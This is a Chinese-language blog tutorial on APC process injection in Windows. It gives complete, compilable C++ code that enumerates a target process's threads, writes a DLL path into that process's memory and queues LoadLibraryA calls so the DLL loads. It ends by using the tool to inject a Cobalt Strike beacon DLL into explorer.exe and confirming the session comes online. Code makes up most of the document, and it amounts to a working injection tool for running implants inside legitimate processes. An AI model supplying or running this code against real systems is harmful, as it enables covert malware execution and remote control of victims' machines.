1. 程式人生 > 其它 >程序注入系之APC注入

程序注入系之APC注入

什麼是APC

APC 是一個簡稱,全稱為Asynchronous Procedure Call,叫非同步過程呼叫,是指函式在特定執行緒中被非同步執行,在作業系統中,APC是一種併發機制。

MSDN解釋為:

相關函式

QueueUserApc:函式作用,新增制定的非同步函式呼叫(回撥函式)到執行的執行緒的APC佇列中

APCproc:函式作用: 回撥函式的寫法.

核心函式

QueueUserAPC

DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);

引數1表示執行函式的地址,當開始執行該APC的時候,程式會跳轉到該函式地址處來執行。

引數2表示插入APC的執行緒控制代碼,要求執行緒控制代碼必須包含THREAD_SET_CONTEXT 訪問許可權。

引數3表示傳遞給執行函式的引數,與遠執行緒注入類似,如果QueueUserAPC 的第一個引數為LoadLibraryA,第三個引數設定的是dll路徑即可完成dll注入。

實現原理

往執行緒APC佇列新增APC,系統會產生一個軟中斷。線上程下一次被排程的時候,就會執行APC函式,APC有兩種形式,由系統產生的APC稱為核心模式APC,由應用程式產生的APC被稱為使用者模式APC

介紹一下應用程式的APC

APC是往執行緒中插入一個回撥函式,但是用的APC呼叫這個回撥函式是有條件的.在Msdn的寫法如下

上面說到要要使用SleepEx,signalObjectAndWait.....等等這些函式才會觸發。

這就有了APC注入的條件:

1.必須是多執行緒環境下

2.注入的程式必須會呼叫上面的那些同步物件.

注入方法原理

1.當對面程式執行到某一個上面的等待函式的時候,系統會產生一箇中斷

2.當執行緒喚醒的時候,這個執行緒會優先去Apc佇列中呼叫回撥函式

3.我們利用QueueUserApc,往這個佇列中插入一個回撥

4.插入回撥的時候,把插入的回撥地址改為LoadLibrary,插入的引數我們使用VirtualAllocEx申請記憶體,並且寫入進去

使用方法

1.利用快照列舉所有的執行緒

2.寫入遠端記憶體,寫入的是Dll的路徑

3.插入我們的DLL即可

實現過程

編寫一個根據程序名獲取pid的函式,然後根據PID獲取所有的執行緒ID,這裡我就將兩個函式集合在一起,通過自己輸入PID來獲取指定程序的執行緒並寫入陣列

//列出指定程序的所有執行緒
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
    // 申請空間
    DWORD dwThreadIdListLength = 0;
    DWORD dwThreadIdListMaxCount = 2000;
    LPDWORD pThreadIdList = NULL;
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;

    pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pThreadIdList == NULL)
    {
        return FALSE;
    }

    RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));

    THREADENTRY32 th32 = { 0 };

    // 拍攝快照
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

    if (hThreadSnap == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

    // 結構的大小
    th32.dwSize = sizeof(THREADENTRY32);

    // 遍歷所有THREADENTRY32結構, 按順序填入陣列

    BOOL bRet = Thread32First(hThreadSnap, &th32);
    while (bRet)
    {
        if (th32.th32OwnerProcessID == th32ProcessID)
        {
            if (dwThreadIdListLength >= dwThreadIdListMaxCount)
            {
                break;
            }
            pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
        }
        bRet = Thread32Next(hThreadSnap, &th32);
    }

    *pThreadIdListLength = dwThreadIdListLength;
    *ppThreadIdList = pThreadIdList;

    return TRUE;
}

然後是apc注入的主函式,首先使用VirtualAllocEx遠端申請記憶體

BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
	// 申請記憶體

	PVOID lpAddr = NULL;
	SIZE_T page_size = 4096;

	lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (lpAddr == NULL)
	{
		ShowError("VirtualAllocEx - Error\n\n");
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}
	// 把Dll的路徑複製到記憶體中
	if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
	{
		ShowError("WriteProcessMemory - Error\n\n");
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}

	// 獲得LoadLibraryA的地址
	PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

	// 遍歷執行緒, 插入APC
	float fail = 0;
	for (int i = dwThreadIdListLength - 1; i >= 0; i--)
	{
		// 開啟執行緒
		HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
		if (hThread)
		{
			// 插入APC
			if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
			{
				fail++;
			}
			// 關閉執行緒控制代碼
			::CloseHandle(hThread);
			hThread = NULL;
		}
	}

使用WriteProcessMemory把dll路徑寫入記憶體

::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)

獲取LoadLibraryA的地址

PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

便利執行緒並插入APC,這裡定義一個fail並進行判斷,如果QueueUserAPC返回的值為NULL則執行緒遍歷失敗,fail的值就+1

for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        // 開啟執行緒
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
            {
                fail++;
            }
        }
    }

主函式,定義dll地址

strcpy_s(wzDllFullPath, "載入要注入的dll的路徑");

使用OpenProcess開啟控制代碼

HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);

呼叫前面寫好的APCInject函式實現APC注入

if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
    {
        printf("Failed to inject DLL\n");
        return FALSE;
    }

採用手動輸入的方式,通過cin >> ulProcessID將接收到的引數賦給ulProcessID

利用此方法上線CS

完整程式碼

// inject3.cpp : 此檔案包含 "main" 函式。程式執行將在此處開始並結束。
#include <iostream>
#include<Windows.h>
#include<TlHelp32.h>

using namespace std;

void ShowError(const char* pszText)
{
	char szError[MAX_PATH] = { 0 };
	::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szError, "ERROR", MB_OK);
}


//列出指定程序的所有執行緒
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
	// 申請空間
	DWORD dwThreadIdListLength = 0;
	DWORD dwThreadIdListMaxCount = 2000;
	LPDWORD pThreadIdList = NULL;
	HANDLE hThreadSnap = INVALID_HANDLE_VALUE;

	pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pThreadIdList == NULL)
	{
		return FALSE;
	}

	RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));

	THREADENTRY32 th32 = { 0 };

	// 拍攝快照
	hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

	if (hThreadSnap == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}

	// 結構的大小
	th32.dwSize = sizeof(THREADENTRY32);

	//遍歷所有THREADENTRY32結構, 按順序填入陣列

	BOOL bRet = Thread32First(hThreadSnap, &th32);
	while (bRet)
	{
		if (th32.th32OwnerProcessID == th32ProcessID)
		{
			if (dwThreadIdListLength >= dwThreadIdListMaxCount)
			{
				break;
			}
			pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
		}
		bRet = Thread32Next(hThreadSnap, &th32);
	}

	*pThreadIdListLength = dwThreadIdListLength;
	*ppThreadIdList = pThreadIdList;

	return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
	// 申請記憶體

	PVOID lpAddr = NULL;
	SIZE_T page_size = 4096;

	lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (lpAddr == NULL)
	{
		ShowError("VirtualAllocEx - Error\n\n");
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}
	// 把Dll的路徑複製到記憶體中
	if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
	{
		ShowError("WriteProcessMemory - Error\n\n");
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}

	// 獲得LoadLibraryA的地址
	PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

	// 遍歷執行緒, 插入APC
	float fail = 0;
	for (int i = dwThreadIdListLength - 1; i >= 0; i--)
	{
		// 開啟執行緒
		HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
		if (hThread)
		{
			// 插入APC
			if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
			{
				fail++;
			}
			// 關閉執行緒控制代碼
			::CloseHandle(hThread);
			hThread = NULL;
		}
	}

	printf("Total Thread: %d\n", dwThreadIdListLength);
	printf("Total Failed: %d\n", (int)fail);

	if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
	{
		printf("Success to Inject APC\n");
		return TRUE;
	}
	else
	{
		printf("Inject may be failed\n");
		return FALSE;
	}
}
int main()
{
	ULONG32 ulProcessID = 0;
	printf("Input the Process ID:");
	cin >> ulProcessID;
	CHAR wzDllFullPath[MAX_PATH] = { 0 };
	LPDWORD pThreadIdList = NULL;
	DWORD dwThreadIdListLength = 0;

#ifndef _WIN64
	strcpy_s(wzDllFullPath, "載入要注入的dll的路徑");
#else // _WIN64
	strcpy_s(wzDllFullPath, "載入要注入的dll的路徑");
#endif
	if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
	{
		printf("Can not list the threads\n");
		exit(0);
	}
	//開啟控制代碼
	HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);

	if (hProcess == NULL)
	{
		printf("Failed to open Process\n");
		return FALSE;
	}

	//注入
	if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
	{
		printf("Failed to inject DLL\n");
		return FALSE;
	}
	return 0;
}

上線cs

首先CS建立監聽,生成一個惡意dll檔案

在目標機上執行編譯好的exe檔案,並輸入要注入程序的PID,這裡我使用explorer.exe測試

編譯,輸入PID

檢視CS,已經成功上線,且程序也載入了beacon.dll.